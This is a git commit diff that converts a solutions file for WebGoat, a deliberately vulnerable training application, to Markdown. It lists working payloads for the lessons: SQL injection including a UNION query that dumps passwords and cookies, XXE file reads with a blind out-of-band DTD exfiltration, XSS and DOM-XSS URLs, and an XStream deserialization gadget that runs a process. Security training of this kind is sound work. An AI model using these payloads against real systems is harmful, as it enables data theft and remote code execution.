Update and rename sol.txt to sol.MD
Add md syntax
This commit is contained in:
parent
5614cda0bf
commit
a11e6911cd
111
webgoat-lessons/sol.MD
Normal file
111
webgoat-lessons/sol.MD
Normal file
@ -0,0 +1,111 @@
|
||||
### SQLi ###
|
||||
|
||||
Basic
|
||||
Smith - to show it returns smith's records.
|
||||
To show exploit; `1=1` can be any true clause:
|
||||
|
||||
```sql
|
||||
Smith' or '1'='1
|
||||
```
|
||||
|
||||
**Bender Login**
|
||||
```sql
|
||||
bender@juice-sh.op' --
|
||||
```
|
||||
```sql
|
||||
[2:19 PM]
|
||||
101
|
||||
101 or 1=1
|
||||
```
|
||||
```sql
|
||||
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||
```
|
||||
|
||||
## XXE ##
|
||||
|
||||
Simple:
|
||||
```xml
|
||||
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||
```
|
||||
|
||||
Modern Rest Framework:
|
||||
Change content type to: `Content-Type: application/xml` and
|
||||
```xml
|
||||
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
|
||||
```
|
||||
|
||||
Blind SendFile
|
||||
```xml
|
||||
|
||||
Solution:
|
||||
|
||||
Create DTD:
|
||||
|
||||
<pre>
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||
%all;
|
||||
</pre>
|
||||
|
||||
This will be reduced to:
|
||||
|
||||
<pre>
|
||||
<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||
</pre>
|
||||
|
||||
Wire it all up in the xml send to the server:
|
||||
|
||||
<pre>
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<user>
|
||||
<username>test&send;</username>
|
||||
</user>
|
||||
|
||||
</pre>
|
||||
|
||||
|
||||
```
|
||||
|
||||
### XSS ###
|
||||
```javascript
|
||||
<script>alert('my javascript here')</script>4128 3214 0002 1999
|
||||
```
|
||||
|
||||
DOM-XSS:
|
||||
|
||||
Something like
|
||||
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
|
||||
//`
|
||||
OR
|
||||
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>`
|
||||
|
||||
### Vuln - Components ###
|
||||
|
||||
Jquery page: - it is contrived; but paste that in each box
|
||||
```javascript
|
||||
OK<script>alert("XSS")<\/script>
|
||||
OK<script>alert("XSS")<\/script>
|
||||
```
|
||||
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
|
||||
```html
|
||||
<sorted-set>
|
||||
<string>foo</string>
|
||||
<dynamic-proxy>
|
||||
<interface>java.lang.Comparable</interface>
|
||||
<handler class="java.beans.EventHandler">
|
||||
<target class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
</target>
|
||||
<action>start</action>
|
||||
</handler>
|
||||
</dynamic-proxy>
|
||||
</sorted-set>
|
||||
|
||||
```
|
@ -1,91 +0,0 @@
|
||||
### SQLi ###
|
||||
Basic
|
||||
Smith - to show it returns smith's records
|
||||
Smith' or '1'='1 - to show exploit; 1=1 can be any true clause
|
||||
|
||||
**Bender Login
|
||||
bender@juice-sh.op' --
|
||||
|
||||
[2:19 PM]
|
||||
101
|
||||
101 or 1=1
|
||||
|
||||
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
|
||||
|
||||
## XXE ##
|
||||
|
||||
Simple - <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||
|
||||
Modern Rest Framework - change content type to: Content-Type: application/xml &&
|
||||
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
|
||||
|
||||
Blind SendFile ...
|
||||
|
||||
/**
|
||||
* Solution:
|
||||
*
|
||||
* Create DTD:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0" encoding="UTF-8"?>
|
||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||
* %all;
|
||||
* </pre>
|
||||
*
|
||||
* This will be reduced to:
|
||||
*
|
||||
* <pre>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||
* </pre>
|
||||
*
|
||||
* Wire it all up in the xml send to the server:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0"?>
|
||||
* <!DOCTYPE root [
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
||||
* %remote;
|
||||
* ]>
|
||||
* <user>
|
||||
* <username>test&send;</username>
|
||||
* </user>
|
||||
*
|
||||
* </pre>
|
||||
*
|
||||
*/
|
||||
|
||||
###XSS ###
|
||||
|
||||
<script>alert('my javascript here')</script>4128 3214 0002 1999
|
||||
|
||||
DOM-XSS ...
|
||||
|
||||
// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
|
||||
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
|
||||
|
||||
|
||||
### Vuln - Components ###
|
||||
|
||||
Jquery page: - it is contrived; but paste that in each box
|
||||
OK<script>alert("XSS")<\/script>
|
||||
OK<script>alert("XSS")<\/script>
|
||||
|
||||
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
|
||||
|
||||
<sorted-set>
|
||||
<string>foo</string>
|
||||
<dynamic-proxy>
|
||||
<interface>java.lang.Comparable</interface>
|
||||
<handler class="java.beans.EventHandler">
|
||||
<target class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
</target>
|
||||
<action>start</action>
|
||||
</handler>
|
||||
</dynamic-proxy>
|
||||
</sorted-set>
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user